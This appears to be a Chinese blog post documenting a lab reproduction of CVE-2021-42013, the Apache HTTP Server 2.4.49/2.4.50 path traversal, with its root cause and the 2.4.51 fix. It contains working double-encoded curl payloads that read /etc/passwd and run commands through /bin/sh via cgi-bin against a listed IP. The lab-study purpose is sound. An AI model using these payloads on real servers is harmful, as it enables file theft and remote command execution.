中间件漏洞 | Apache-路径穿越升级版


前言

Apache的2.4.29版本的漏洞理解了,那么这个漏洞也很容易理解。


靶场:CVE-2021-42013

1 靶场介绍

Apache HTTP Server 2.4.50 路径穿越漏洞

Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。

攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

该漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。


2 漏洞验证 :路径穿越
  1. 编译运行后,查看端口
    在这里插入图片描述

  2. 访问成功
    在这里插入图片描述

  3. curl命令行发送payload

    curl -v --path-as-is http://20.210.90.167:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
    
    url一次解码
    curl -v --path-as-is http://20.210.90.167:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
    url二次解码
    curl -v --path-as-is http://20.210.90.167:8080/icons/../../../../etc/passwd
    
  4. 成功读取/etc/passwd在这里插入图片描述

  5. 漏洞原理分析
    函数原理:Apache使用函数 ap_process_request_internal来处理外部请求,先调用 ap_normalize_path函数对字符串进行一次解码,再调用 ap_unescape_url函数对字符串二次解码过滤

    开发为了保险起见,反复解码过滤,但这样反而弄巧成拙,造成二次编码注入。

    %32e --> %2e --> .
    
    %32 = 2
    %2e = .
    

3 漏洞利用:任意命令执行
  1. 命令行

    curl -v --data "echo;whoami" http://20.210.90.167:8080/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh
    

    在这里插入图片描述

  2. 抓包
    在这里插入图片描述


4 修复

2.4.51版本中采用了白名单的机制,在ap_normalize_path中加强了对url编码的校验,只允许数字、字母及特定的符号编码,如果是白名单以外的url编码,就直接报错。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值